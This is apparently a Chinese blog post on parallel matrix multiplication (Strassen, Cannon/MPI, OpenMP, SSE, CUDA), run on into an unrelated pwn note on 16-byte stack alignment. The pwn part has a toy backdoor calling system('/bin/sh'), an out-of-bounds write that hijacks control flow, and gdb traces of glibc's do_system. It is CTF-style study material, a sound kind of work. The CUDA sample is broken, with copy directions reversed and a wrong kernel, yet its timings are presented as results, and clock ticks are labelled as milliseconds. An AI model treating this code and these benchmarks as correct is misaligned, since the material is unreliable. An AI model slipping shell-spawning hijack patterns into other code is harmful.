矩阵并行计算的探索

ps: 课题来自于泥卓的课后作业
ps: 建议把页面markdown自己放到vscode或者typora上, 因为本站的markdown似乎没有办法显示Latex语法

实验器材与工具

1
2
3
4
5
6
7
8
9
10
11
处理器:13th Gen Intel(R) Core(TM) i7-13700H   2.40 GHz
机带RAM: 16.0GB(15.7GB可用)
WSL 版本: 2.3.24.0
内核版本: 5.15.153.1-2
WSLg 版本: 1.0.65
MSRDC 版本: 1.2.5620
Direct3D 版本: 1.611.1-81528511
DXCore 版本: 10.0.26100.1-240331-1435.ge-release
Windows 版本: 10.0.22631.4317
g++ 版本:11.4.0
nvidia-cuda-toolkit: 12.3

矩阵乘法优化算法

   存在矩阵M(m*n)和矩阵N(n*t)做矩阵乘法,按照矩阵乘法的定义,一共需要做m*n*t次乘法计算,以及m*n*t次加法计算,不难理解如果可以减少运算的次数,那么就会产生直观的优化效果
Strassen算法
   由上述分析,一般的矩阵运算需要O(n^3)的复杂度,但Strassen算法通过分治的思想,将大矩阵化成小矩阵, 可以将这个值降至约O(n^2.81)
   如图,将两个4*4矩阵分割为四个分块矩阵,

$
A = \begin{bmatrix}
\begin{pmatrix}a_{11}&a_{12}\a_{21}&a_{22}\end{pmatrix} & \begin{pmatrix}a_{31}&a_{32}\a_{41}&a_{42}\end{pmatrix}\
\begin{pmatrix}a_{51}&a_{52}\a_{61}&a_{62}\end{pmatrix} & \begin{pmatrix}a_{71}&a_{72}\a_{81}&a_{82}\end{pmatrix}
\end{bmatrix} = \begin{bmatrix}A_1 & A_2 \ A_3 & A_4\end{bmatrix} \
B = \begin{bmatrix}
\begin{pmatrix}b_{11}&b_{12}\b_{21}&b_{22}\end{pmatrix} & \begin{pmatrix}b_{31}&b_{32}\b_{41}&b_{42}\end{pmatrix}\
\begin{pmatrix}b_{51}&b_{52}\b_{61}&b_{62}\end{pmatrix} & \begin{pmatrix}b_{71}&b_{72}\b_{81}&b_{82}\end{pmatrix}
\end{bmatrix} = \begin{bmatrix}B_1 & B_2 \ B_3 & B_4\end{bmatrix}
$

   此时,$C_{11}$和矩阵$C$的计算方式如下

$
C_{11} = \left(\begin{pmatrix}a_{11}&a_{12}\a_{21}&a_{22}\end{pmatrix}\begin{pmatrix}b_{11}&b_{12}\b_{21}&b_{22}\end{pmatrix}\right)+\left(\begin{pmatrix}a_{31}&a_{32}\a_{41}&a_{42}\end{pmatrix}\begin{pmatrix}b_{51}&b_{52}\b_{61}&b_{62}\end{pmatrix}\right)
$
$
C = \begin{bmatrix}
C_{11} & C_{12}\
C_{21} & C_{22}
\end{bmatrix}
$

   用这种方式计算时,时间代价来自两部分,多次子矩阵乘法,以及运算结果合并与组合

$T(n) = k*T(n/2) + O(n^2), k代表矩阵乘法次数$

   上式中的后项表示加法和合并的时间复杂度,由于矩阵乘法本身为$O(n^3)$,而前项的乘法是主要的时间开销。所以化简的一种方式是尽可能减少乘法次数
   以上面的$A, B$为例
   首先先通过加减获得10个 2*2 矩阵如下

$
S_1 = B_{12} - B_{22}\
S_2 = A_{11} + A_{12}\
S_3 = A_{21} + A_{22}\
S_4 = B_{21} - B_{11}\
S_5 = A_{11} + A_{22}\
S_6 = B_{11} + B_{22}\
S_7 = A_{12} - A_{22}\
S_8 = B_{21} + B_{22}\
S_9 = A_{11} - A_{21}\
S_{10} = B_{11} + B_{12}
$

   然后再进一步通过乘法运算得到

$
P_{1} =A_{11}\cdot S_{1}=A_{11}\cdot B_{12}-A_{11}\cdot B_{22}\
P_{2} =S_{2}\cdot B_{22}=A_{11}\cdot B_{22}+A_{12}\cdot B_{22}\
P_{3} =S_{3}\cdot B_{11}=A_{21}\cdot B_{11}+A_{22}\cdot B_{11}\
P_{4} =A_{22}\cdot S_{4}=A_{22}\cdot B_{21}-A_{22}\cdot B_{11}\
P_{5} =S_{5}\cdot S_{6}=A_{11}\cdot B_{11}+A_{11}\cdot B_{22}+A_{22}\cdot B_{11}+A_{22}\cdot B_{22}\
P_{6} =S_{7}\cdot S_{8}=A_{12}\cdot B_{21}+A_{12}\cdot B_{22}-A_{22}\cdot B_{21}-A_{22}\cdot B_{22}\
P_{7} =S_{9}\cdot S_{10}=A_{11}\cdot B_{11}+A_{11}\cdot B_{12}-A_{21}\cdot B_{11}-A_{21}\cdot B_{12}
$

   根据组合,可以发现$C$实际上可以由上述计算的结果加减得到

$
C_{11} = P_5 + P_4 - P_2 + P_6 \
C_{12} = P_1 + P_2 \
C_{21} = P_3 + P_4 \
C_{22} = P_5 + P_1 - P_3 - P_7
$

   上述方法总共有7次 2*2 的矩阵乘法,比直接计算少一次,这是因为最后一次乘法的结果实际上可以由之前7次加减组合得到。对于较大的矩阵乘法,使用分治的方法递归的化为更小的矩阵相乘,可以在递归的过程中多次减少所需乘法的数量
   对于本例,时间复杂度为$O(n^{log_27})$
   更具体方式参考https://zhuanlan.zhihu.com/p/78657463
   进一步的,使用Coppersmith-Winograd可以将复杂度降至$O(n^{2.376})$

进程级别并行

Cannon卡农算法

   假如可以将不同的$C_{ij}$的计算划给不同的进程分别计算,最后组合拼接以获得的最终的矩阵$C$.
   在这个过程中,单独的一个进程将会需要$A_{i1}, A_{i2}, A_{i3}…B_{1j}, B_{2j}, B_{3j}…$等多个子矩阵来计算$C_{ij}$,但是由于每个进程需要获取的子矩阵中存在重叠,也就是一个子矩阵会被复制进入多个进程,不利于节省空间开支。
   在使用卡农算法时,使每个进程只保存当前进程的计算结果、以及两个子矩阵,在各个进程完成了一轮计算后,通过进程间的通信,进程之间交换子矩阵,以达到避免重复保存的效果。
   例如存在方阵A(n*n),B(n*n)相乘得到矩阵C.
   第一步,将矩阵各分为$\sqrt{n} * \sqrt{n}$(向下取整)个子矩阵,并将运算任务分配至$n$个线程, 对应计算$C_{ij}$的进程中需要保存的子矩阵是$A_{ij}, B_{ij}$
   第二步,进行子矩阵的对齐操作。以计算$C_{ij}$的线程为例,通过进程间通信,使得$A_{ij}$在整个$A$中循环左移i位,得到$A_{i((j-i-1+\sqrt{n})%\sqrt{n})}$,同理$B_{ij}$向上循环右移j位.

697687-20190318173518810-1350254261.png

   第三步,各个进程执行一次矩阵乘法,累加到$C_{ij}$,然后将$A_{ij}$和$B_{ij}$分别向左向上移动一步
   重复第三步,直到一共计算$\sqrt{n}$次乘法
   第五步,将各个进程的结果组合得到矩阵乘法结果.
   在这种方法中,除了乘法运算之外,进程之间的通讯也会影响运算速度,

分布式并行

   分布式并行计算是指将一个大型的计算任务分解成多个较小的子任务,这些子任务被分配到多个计算节点(如服务器、处理器等)上同时进行计算。这些节点通过网络进行通信和协调,最终将各个子任务的计算结果汇总,得到整个任务的解决方案
   MPI是这种分布式并行的一种实现方式,MPI是一套在进程间传输数据的接口, 现有的MPI实现有MPICH, openMPI, Intel MPI
   根据进程之间通信方式不同,MPI的具体操作方式可以分为主从模式和对等模式,以下是一个使用MPICH基于主从模式的Cannon算法的实现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <stdio.h>
#include "/usr/include/mpi/mpi.h"
#include <stdlib.h>
#include <math.h>

int get_index(int row,int col,int N){
return ((row+N)%N)*N+(col+N)%N;
}

int main(int argc, char **argv)
{
int M=4,N=4,K=4;
int rank,comm_sz;
double start, stop; //计时时间
MPI_Status status;

MPI_Init(&argc,&argv);
MPI_Comm_size(MPI_COMM_WORLD, &comm_sz);
MPI_Comm_rank(MPI_COMM_WORLD,&rank);

int a=(int)sqrt(comm_sz); // A B行列分多少块

int saveM=M,saveN=N,saveK=K; // 为了A B能均分成块

int each_M=M/a,each_N=N/a,each_K=K/a; // 矩阵A B每块分多少行列数据

if(rank==0){
double *Matrix_A,*Matrix_B,*Matrix_C,*result_Matrix;
Matrix_A=(double*)malloc(M*N*sizeof(double));
Matrix_B=(double*)malloc(N*K*sizeof(double));
Matrix_C=(double*)malloc(M*K*sizeof(double));
result_Matrix=(double*)malloc(M*K*sizeof(double)); // 保存数据计算结果

init_Matrix(Matrix_A,Matrix_B,Matrix_C,M,N,K,saveM,saveN,saveK);
printf("a=%d each_M=%d each_N=%d each_K=%d\n",a,each_M,each_N,each_K);

start=MPI_Wtime();
// 主进程计算第1块
for(int i=0;i<each_M;i++){
for(int j=0;j<each_K;j++){
double temp=0;
for(int p=0;p<N;p++){
temp+=Matrix_A[i*N+p]*Matrix_B[p*K+j];
}
result_Matrix[i*K+j]= temp+ Matrix_C[i*K+j];
}
}

// 向其它进程发送块数据
for(int i=1;i<comm_sz;i++){
int beginRow=(i/a)*each_M; // 每个块的行列起始位置(坐标/偏移量)
int beginCol=(i%a)*each_K;
for(int j=0;j<each_M;j++)
MPI_Send(Matrix_C+(beginRow+j)*K+beginCol,each_K,MPI_DOUBLE,i,j+each_M+each_N,MPI_COMM_WORLD);
// 发送A B每块数据
for(int k=0;k<a;k++){
int begin_part=k*each_N; // 移动A的列 B的行 即A列不同程度的左移,B行不同程度的上移
for(int j=0;j<each_M;j++)
MPI_Send(Matrix_A+(beginRow+j)*N+begin_part,each_N,MPI_DOUBLE,i,j,MPI_COMM_WORLD);
for(int p=0;p<each_N;p++)
MPI_Send(Matrix_B+(begin_part+p)*K+beginCol,each_K,MPI_DOUBLE,i,p+each_M,MPI_COMM_WORLD);
}
}
// 接收从进程的计算结果
for(int i=1;i<comm_sz;i++){
int beginRow=(i/a)*each_M;
int endRow=beginRow+each_M;
int beginCol=(i%a)*each_K;
for(int j=beginRow;j<endRow;j++)
MPI_Recv(result_Matrix+j*K+beginCol,each_K,MPI_DOUBLE,i,j-beginRow+2*each_M+each_N,MPI_COMM_WORLD,&status);
}

Matrix_print2(result_Matrix,saveM,saveK,K);
stop=MPI_Wtime();
printf("rank:%d time:%lfs\n",rank,stop-start);

free(Matrix_A);
free(Matrix_B);
free(Matrix_C);
free(result_Matrix);
}
else {
double *buffer_A,*buffer_B,*buffer_C;
buffer_A=(double*)malloc(each_M*each_N*sizeof(double)); // A的均分行的数据
buffer_B=(double*)malloc(each_N*each_K*sizeof(double)); // B的均分列的数据
buffer_C=(double*)malloc(each_M*each_K*sizeof(double)); // C的均分行的数据

// 接收C块数据
for(int j=0;j<each_M;j++)
MPI_Recv(buffer_C+j*each_K,each_K,MPI_DOUBLE,0,j+each_M+each_N,MPI_COMM_WORLD,&status);

for(int k=0;k<a;k++){ // 把每块数据求和
//接收A B块数据
for(int j=0;j<each_M;j++)
MPI_Recv(buffer_A+j*each_N,each_N,MPI_DOUBLE,0,j,MPI_COMM_WORLD,&status);
for(int p=0;p<each_N;p++)
MPI_Recv(buffer_B+p*each_K,each_K,MPI_DOUBLE,0,p+each_M,MPI_COMM_WORLD,&status);

//计算乘积结果,并将结果发送给主进程
for(int i=0;i<each_M;i++){
for(int j=0;j<each_K;j++){
double temp=0;
for(int p=0;p<each_N;p++){
temp+=buffer_A[i*each_N+p]*buffer_B[p*each_K+j];
}
if(k==0)
buffer_C[i*each_K+j]= temp+ buffer_C[i*each_K+j];
else
buffer_C[i*each_K+j]+= temp;
}
}
}
// 将结果发送给主进程
for(int j=0;j<each_M;j++){
MPI_Send(buffer_C+j*each_K,each_K,MPI_DOUBLE,0,j+2*each_M+each_N,MPI_COMM_WORLD);
}

free(buffer_A);
free(buffer_B);
free(buffer_C);
}
MPI_Finalize();
return 0;
}
   由于进程有独立的内存空间,维护进程空间需要消耗一定资源。其次,由于内存互不重叠,进程之间的消息必须显式地传递和接收。相较于单一机器使用,MPI更适合计算机集群中使用。

线程级别并行

   在上述分布式并行中,提及了由于基于消息传递优化的卡农算法,而对于单一机器多核处理器来说,实际上没有必要将计算单元的数据相互隔离。对应地,也就是没有必要为每个运算单元维护进程,在一个进程中使用多个线程即可,由于线程间共享内存,也就避免了复杂地消息传播.

共享内存并行

   基于上述的理念,提出了基于多线程的共享内存并行。具体到编程时,可以使用<pthread.h>手动管理POSIX线程, 也可以使用OpenMP(Open Multiple processing), 添加预编译命令完成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <omp.h>
#include <time.h>

const int N = 64;
float NormalMul[N][N];
float MPMul[N][N];

void check(){
// 检查使用,输出前16个元素并对比
for(int i = 0; i < 16; ++i){
std::cout<<NormalMul[0][i]<<' ';
}
std::cout<<std::endl;
for(int i = 0; i < 16; ++i){
std::cout<<MPMul[0][i]<<' ';
}
std::cout<<std::endl;

}

void MulNormal(float **A, float **B){
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
for(int k = 0; k < N; ++k){
NormalMul[i][j] += A[i][k] * B[k][j];
}
}
}
}

void MulMP(float **A, float **B){
// 在此处添加预编译命令
#pragma omp parallel for num_threads(4) schedule(dynamic)
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
float temp = 0;
for(int k = 0; k < N; ++k){
temp += A[i][k] * B[k][j];
}
MPMul[i][j] = temp;
}
}
}
float** randMatrix(){
srand(static_cast<unsigned int>(time(nullptr)));
float **Matrix = (float**)malloc(N * sizeof(float*));
for(int i = 0; i < N; ++i) Matrix[i] = (float*)malloc(sizeof(float) * N);
for(int i = 0; i < N; ++i){
for(int j=0; j < N; ++j){
Matrix[i][j] = static_cast<float>(rand()) / static_cast<float>(RAND_MAX);
}
}
return Matrix;
}
int main() {

float **A = randMatrix();
float **B = randMatrix();
// 分别计算并计时
clock_t normal_beg = clock();
MulNormal(A, B);
clock_t normal_end = clock();

clock_t MP_beg = clock();
MulMP(A, B);
clock_t MP_end = clock();
// 输出
std::cout<<"normal: "<<normal_end - normal_beg<<" ms"<<'\n';
std::cout<<"MP: "<<MP_end - MP_beg<<" ms"<<'\n';
check();
return 0;
}
   输出结果以及对比
1
2
3
4
normal: 1097 ms
MP: 454 ms
13.9073 16.8046 14.3195 17.28 13.1921 15.0843 15.269 16.6484 15.771 15.2247 14.5149 13.783 12.2384 14.3623 15.2282 15.4888
13.9073 16.8046 14.3195 17.28 13.1921 15.0843 15.269 16.6484 15.771 15.2247 14.5149 13.783 12.2384 14.3623 15.2282 15.4888
   示例中使用了简单的#pragma预处理指令并行最外层的循环,设置线程为4,在矩阵大小为64*64是取得了较好的效果
   然而,如果进一步增大矩阵大小,可能出现cache命中率下降,线程之间’错误共享’,综合时间反而不如串行的现象。此时,需要手动对线程进一步细化管理,例如schedule(mode, size), critical等预处理指令
   其次,如果增加线程数量(num_threads),会导致维护线程的开支增大,以及线程之间的资源竞争,所以需要对线程数量进行权衡.
1
2
3
4
5
# thread_num = 16;
normal: 805 ms
MP: 194067 ms
17.8174 17.7196 16.8649 16.4366 19.456 16.0795 17.8538 17.5493 17.6787 16.7344 15.528 15.5007 12.8625 17.4086 17.7185 16.5289
17.8174 17.7196 16.8649 16.4366 19.456 16.0795 17.8538 17.5493 17.6787 16.7344 15.528 15.5007 12.8625 17.4086 17.7185 16.5289

数据级别并行

   数据级并行是一种显式并行技术,主要通过单指令多数据(Single Instruction, Multiple Data, SIMD)的方式实现。在SIMD模型中,一条指令可以同时对多个数据进行相同的操作。这种并行性特别适用于处理大量相同类型的数据集,如图像处理、音频处理、科学计算中的向量和矩阵运算等
   在X86汇编中,有很多的拓展指令集能够实现SIMD, 例如MMX、SSE、AVX, 这些指令集通过将单一数据组合并放入拓展的寄存器中(如xmm系列寄存器),配合专用的拓展指令,完成数据级别的并行和快速计算。
   以浮点数的加法为例,使用SSE拓展指令。拓展指令可以使用gcc/g++自带的库进行连接,也可以在代码中直接插入内联汇编指令,下面的示例代码采用前者的方法.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <iostream>
#include <pmmintrin.h>
#include <ctime>

const int N = 64;

float NormalMul[N][N];
float SSEMul[N][N];

void check(){
for(int i = 0; i < 16; ++i){
std::cout<<NormalMul[0][i]<<' ';
}
std::cout<<std::endl;
for(int i = 0; i < 16; ++i){
std::cout<<SSEMul[0][i]<<' ';
}
std::cout<<std::endl;

}
// 矩阵数据随即处理
float** randMatrix(){
srand(static_cast<unsigned int>(time(nullptr)));
float **Matrix = (float**)_mm_malloc(N * sizeof(float*), 16);
for(int i = 0; i < N; ++i) Matrix[i] = (float*)_mm_malloc(sizeof(float) * N, 16);
for(int i = 0; i < N; ++i){
for(int j=0; j < N; ++j){
Matrix[i][j] = static_cast<float>(rand()) / static_cast<float>(RAND_MAX);
}
}
return Matrix;
}

void MulNormal(float **A, float **B){
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
for(int k = 0; k < N; ++k){
NormalMul[i][j] += A[i][k] * B[j][k]; // <---- 计算方式与SSE方法保持一致
}
}
}
}

void MulSSE(float **A, float **B){
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
__m128 temp = _mm_setzero_ps(); // 初始化一个空的xmm寄存器
for(int k = 0; k < N; k += 4){
temp = _mm_add_ps(temp,
_mm_mul_ps(_mm_load_ps(&A[i][k]),
_mm_load_ps(&B[j][k])));
}
temp = _mm_hadd_ps(temp, temp);
temp = _mm_hadd_ps(temp, temp);
_mm_store_ss(&SSEMul[i][j], temp); // 两次水平加法,获取一个xmm寄存器中的4个float数据的加和
}
}
}

int main(){
float **A = randMatrix();
float **B = randMatrix();

clock_t normal_beg = clock();
MulNormal(A, B);
clock_t normal_end = clock();

clock_t SSE_beg = clock();
MulSSE(A, B);
clock_t SSE_end = clock();

std::cout<<"normal: "<<normal_end - normal_beg<<" ms"<<'\n';
std::cout<<"SSE: "<<SSE_end - SSE_beg<<" ms"<<'\n';
check();
return 0;
}
// g++ -msse3 SSE.cpp -o SSE
   结果输出
1
2
3
4
5
# const int N = 64;
normal: 1113 ms
SSE: 373 ms
22.9132 14.8315 16.3082 15.3699 18.9539 17.6561 20.4305 17.9889 15.3361 15.531 15.0805 18.0234 16.0815 15.5114 15.6305 18.4012
22.9132 14.8315 16.3082 15.3699 18.9539 17.6561 20.4305 17.9889 15.3361 15.531 15.0805 18.0234 16.0815 15.5114 15.6305 18.4012
   使用SSE指令有许多细节需要考虑,这是由于_mm_add_ps等接口,并非函数而是打包的汇编指令,使用时有诸多限制
   编译过程中不存在类型检查和对齐检查,所以在编写中需要手动确认变量内存的大小和对齐,以避免出现由于不当地使用汇编指令造成的内存溢出甚至是段错误。
   下面是源代码的二进制文件中的一段截取,对应的是_mm_setzero_ps的工作。
1
2
3
4
.text:0000000000001231                 mov     rax, [rbp+var_68]
.text:0000000000001235 movups xmm0, xmmword ptr [rax]
.text:0000000000001238 movaps [rbp+var_60], xmm0
.text:000000000000123C mov eax, [rbp+var_7C]
   其次,SSE指令中的movups和movaps要求的是连续的一块16bit内存,所以,需要对矩阵运算做一些改造
   考虑如下代码,是cpu串行计算时,最内层的计算方式。注意其中的B[k][j],在依次遍历k的过程中,B[k][j]、B[k+1][j]、B[k+2][j]的内存不连续, 无法通过指令直接加载进入xmm寄存器
1
2
3
for(int k = 0; k < N; ++k){
NormalMul[i][j] += A[i][k] * B[k][j];
}
   将矩阵B从 行x列 的格式,转化为 列x行 的格式,如下
1
2
3
for(int k = 0; k < N; ++k){
NormalMul[i][j] += A[i][k] * B[j][k];
}
   此时,遍历过程中两个操作数就都是连续的内存

GPU并行计算

   GPU拥有大量的计算核心,擅长于计算与图形相关的各种矩阵运算(大规模数据的简单处理)。当单机的运算资源不足是,可以将部分运算分配给GPU, 利用GPU进行并行运算.
   以Nvidia的独显为例,使用配套的CUDA工具链中的nvcc编译器,编写一个2维矩阵的乘法运算
   源代码中,使用__host____device__关键字来区分分配给CPU或者是GPU的工作,对于GPU的函数,还需提前设置网格(grid)和线程块(block)
   很久之前的写的代码拿出来水一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <stdio.h>
#include "utils.cuh"
#include <iostream>
#include <ctime>
using namespace std;

const int N = 1024;
float Matrix_CPU_A[N][N], Matrix_CPU_B[N][N], Matrix_CPU_C[N][N];
float **Matrix_GPU_A,**Matrix_GPU_B,**Matrix_GPU_C;

__host__ void randomMatrix(float matrix[N][N]){
srand(static_cast<unsigned int>(time(nullptr)));
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
matrix[i][j] = static_cast<float>(rand()) / static_cast<float>(RAND_MAX);
}
}
return;
}
__host__ void CPUMul(){
for(int i = 0; i < N; ++i){
for(int j = 0; j < N; ++j){
for(int k = 0; k < N; ++k){
Matrix_CPU_C[i][j] += Matrix_CPU_A[i][k] * Matrix_CPU_B[k][j];
}
}
}
}
__host__ void check(float matrix[N][N]){
for(int i = 0; i < 16; ++i){
cout<<matrix[0][i]<<' ';
}
cout<<endl;
}
__device__ float GPUMulAtom(float a, float b){
return a * b;
}
__global__ void GPUMul(float **A, float **B, float **C){
int row = blockIdx.x;
int col = threadIdx.x;
int range = threadIdx.y;
C[row][col] = GPUMulAtom(A[row][range], B[range][col]);
}
__global__ void GPUCheck(float **matrix){
for(int i=0; i < 16; ++i){
printf("%f ", matrix[0][i]);
}
printf("\n");
}


int main()
{
randomMatrix(Matrix_CPU_A);
randomMatrix(Matrix_CPU_B);
float **Matrix_GPU_A,**Matrix_GPU_B,**Matrix_GPU_C;

cudaMalloc((float***)&Matrix_GPU_A, sizeof(float)* N * N );
cudaMalloc((float***)&Matrix_GPU_B, sizeof(float)* N * N );
cudaMalloc((float***)&Matrix_GPU_C, sizeof(float)* N * N );
if(Matrix_GPU_A != NULL && Matrix_GPU_B != NULL && Matrix_GPU_C != NULL)
{
cudaMemset(Matrix_GPU_A,0,sizeof(float)* N * N);
cudaMemset(Matrix_GPU_B,0,sizeof(float)* N * N);
cudaMemset(Matrix_GPU_C,0,sizeof(float)* N * N);
}
else
{
cudaFree(Matrix_GPU_A);
cudaFree(Matrix_GPU_B);
cudaFree(Matrix_GPU_C);
printf("cudaMalloc failed\n");
exit(-1);
}
cudaMemcpy(Matrix_CPU_A,Matrix_GPU_A,sizeof(float)* N* N,cudaMemcpyHostToDevice);
cudaMemcpy(Matrix_CPU_B,Matrix_GPU_B,sizeof(float)* N* N,cudaMemcpyHostToDevice);
cudaMemcpy(Matrix_CPU_C,Matrix_GPU_C,sizeof(float)* N* N,cudaMemcpyHostToDevice);

clock_t CPU_begin = clock();
CPUMul();
clock_t CPU_end = clock();
// check(Matrix_CPU_C);
cout<<"CPU: "<<CPU_end - CPU_begin<<" ms"<<endl;

dim3 block(N, N);
dim3 grid(N);
clock_t GPU_begin = clock();
GPUMul<<<grid, block>>>(Matrix_GPU_A, Matrix_GPU_B, Matrix_GPU_C);
cudaDeviceSynchronize();
clock_t GPU_end = clock();
// GPUCheck(Matrix_GPU_C);
cout<<"GPU: "<<GPU_end - GPU_begin<<" ms"<<endl;

cudaFree(Matrix_GPU_A);
cudaFree(Matrix_GPU_B);
cudaFree(Matrix_GPU_C);
return 0;
}
1
2
3
4
5
6
# const int N = 1024;
CPU: 6607223 ms
GPU: 8970 ms
# const int N = 2048;
CPU: 182436212 ms
GPU: 22204 ms
   需要注意的是,由于CPU和GPU是不同的部件,两者之间需要通过PCIe总线通信,这个过程会消耗比较多的时间(相较于单步计算而言),所以在计算量比较小的时候,GPU并行相较于CPU串行不会有太好的效果.
1
2
3
# const int N = 64;
CPU: 1178 ms
GPU: 5040 ms

XEE寄存器和16字节栈对齐.

引子—-demo0和demo1的对比

1
2
3
4
5
6
7
8
9
10
11
12
// demo0
#include <stdio.h>
#include <stdlib.h>

void getshell(){
system("/bin/sh\x00");
}

int main(){
getshell();
return 0;
}
   demo0,直接在main()中调用后门函数,一切正常
1
2
3
4
5
6
7
8
9
10
11
12
13
// demo1
#include <stdio.h>
#include <stdlib.h>

void getshell(){
system("/bin/sh\x00");
}

int main(){
size_t array[3];
array[5] = getshell; // 数组越界
return 0;
}
   demo1, 用数组越界来模拟pwn中的劫持控制流。
   然后理所当然地寄了,就和pwn中直接返回到backdoor中一样。
1
2
$ ./test 
Segmentation fault (core dumped)
   一般这种情况,有两种方法解决,一种在ROPchain中加一个ret指令,一种直接劫持到system()语句的位置,跳过push rbp
   事实上并不是所有这种ret2text都需要这种技巧,这和栈所在的环境有关,不同的程序甚至于不同的机器之间栈都有细微的差别

如何检查16位栈对齐

   现在来探索一下system()是如何检查栈不平衡的
   利用上面的demo1动态调试
1
2
3
4
5
6
7
8
9
10
11
12
13
  0x7ffff7dd3d70 <system>          endbr64 
► 0x7ffff7dd3d74 <system+4> test rdi, rdi 0x555555556004 & 0x555555556004 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
0x7ffff7dd3d77 <system+7> je system+16 <system+16>

0x7ffff7dd3d79 <system+9> jmp do_system <do_system>

0x7ffff7dd3900 <do_system> push r15
0x7ffff7dd3902 <do_system+2> mov edx, 1 EDX => 1
0x7ffff7dd3907 <do_system+7> push r14
0x7ffff7dd3909 <do_system+9> lea r14, [rip + 0x1cbf30] R14 => 0x7ffff7f9f840 (intr) ◂— 0
0x7ffff7dd3910 <do_system+16> push r13
0x7ffff7dd3912 <do_system+18> lea r13, [rip + 0x1cbe87] R13 => 0x7ffff7f9f7a0 (quit) ◂— 0
0x7ffff7dd3919 <do_system+25> movq xmm2, r14 XMM2 => 0x7ffff7f9f840 (intr) ◂— 0
   在system@plt处stepin, 可以看到单纯地进入system完全没有问题。
1
2
3
4
5
6
7
8
9
  0x7ffff7dd3d79 <system+9>        jmp    do_system                   <do_system>

► 0x7ffff7dd3900 <do_system> push r15
0x7ffff7dd3902 <do_system+2> mov edx, 1 EDX => 1
0x7ffff7dd3907 <do_system+7> push r14
0x7ffff7dd3909 <do_system+9> lea r14, [rip + 0x1cbf30] R14 => 0x7ffff7f9f840 (intr) ◂— 0
0x7ffff7dd3910 <do_system+16> push r13
0x7ffff7dd3912 <do_system+18> lea r13, [rip + 0x1cbe87] R13 => 0x7ffff7f9f7a0 (quit) ◂— 0
0x7ffff7dd3919 <do_system+25> movq xmm2, r14 XMM2 => 0x7ffff7f9f840 (intr) ◂— 0
   然后跳转到do_system
1
2
3
4
5
6
7
8
9
10
11
12
13
► 0x7ffff7dd3967 <do_system+103>    mov    qword ptr [rsp + 0x188], 0                [0x7fffffffd8c0] => 0
0x7ffff7dd3973 <do_system+115> movaps xmmword ptr [rsp], xmm1 <[0x7fffffffd738] not aligned to 16 bytes>
0x7ffff7dd3977 <do_system+119> lock cmpxchg dword ptr [rip + 0x1cbe01], edx
0x7ffff7dd397f <do_system+127> jne do_system+816 <do_system+816>

0x7ffff7dd3985 <do_system+133> mov eax, dword ptr [rip + 0x1cbdf9] EAX, [sa_refcntr] => 0
0x7ffff7dd398b <do_system+139> lea edx, [rax + 1] EDX => 1
0x7ffff7dd398e <do_system+142> mov dword ptr [rip + 0x1cbdf0], edx [sa_refcntr] => 1
0x7ffff7dd3994 <do_system+148> test eax, eax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
0x7ffff7dd3996 <do_system+150> ✔ je do_system+536 <do_system+536>

0x7ffff7dd3b18 <do_system+536> lea rbp, [rsp + 0x180] RBP => 0x7fffffffd8b8 ◂— 1
0x7ffff7dd3b20 <do_system+544> mov rdx, r14 RDX => 0x7ffff7f9f840 (intr) ◂— 0
   结果单步一下直接给我干到了do_system+103的位置,就是检查到没有16位对齐的上一句,之前调试kernel的时候也有类似的问题
   检查先放一下,看一下do_system汇编,免得漏掉什么
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   0x7ffff7dd3900 <do_system>:  push   r15
0x7ffff7dd3902 <do_system+2>: mov edx,0x1
0x7ffff7dd3907 <do_system+7>: push r14
0x7ffff7dd3909 <do_system+9>: lea r14,[rip+0x1cbf30] # 0x7ffff7f9f840 <intr>
0x7ffff7dd3910 <do_system+16>: push r13
0x7ffff7dd3912 <do_system+18>: lea r13,[rip+0x1cbe87] # 0x7ffff7f9f7a0 <quit>
0x7ffff7dd3919 <do_system+25>: movq xmm2,r14
0x7ffff7dd391e <do_system+30>: push r12
0x7ffff7dd3920 <do_system+32>: movq xmm1,r13
0x7ffff7dd3925 <do_system+37>: push rbp
0x7ffff7dd3926 <do_system+38>: punpcklqdq xmm1,xmm2
0x7ffff7dd392a <do_system+42>: push rbx
0x7ffff7dd392b <do_system+43>: mov rbx,rdi
0x7ffff7dd392e <do_system+46>: sub rsp,0x388
0x7ffff7dd3935 <do_system+53>: mov rax,QWORD PTR fs:0x28
0x7ffff7dd393e <do_system+62>: mov QWORD PTR [rsp+0x378],rax
0x7ffff7dd3946 <do_system+70>: xor eax,eax
0x7ffff7dd3948 <do_system+72>: mov DWORD PTR [rsp+0x18],0xffffffff
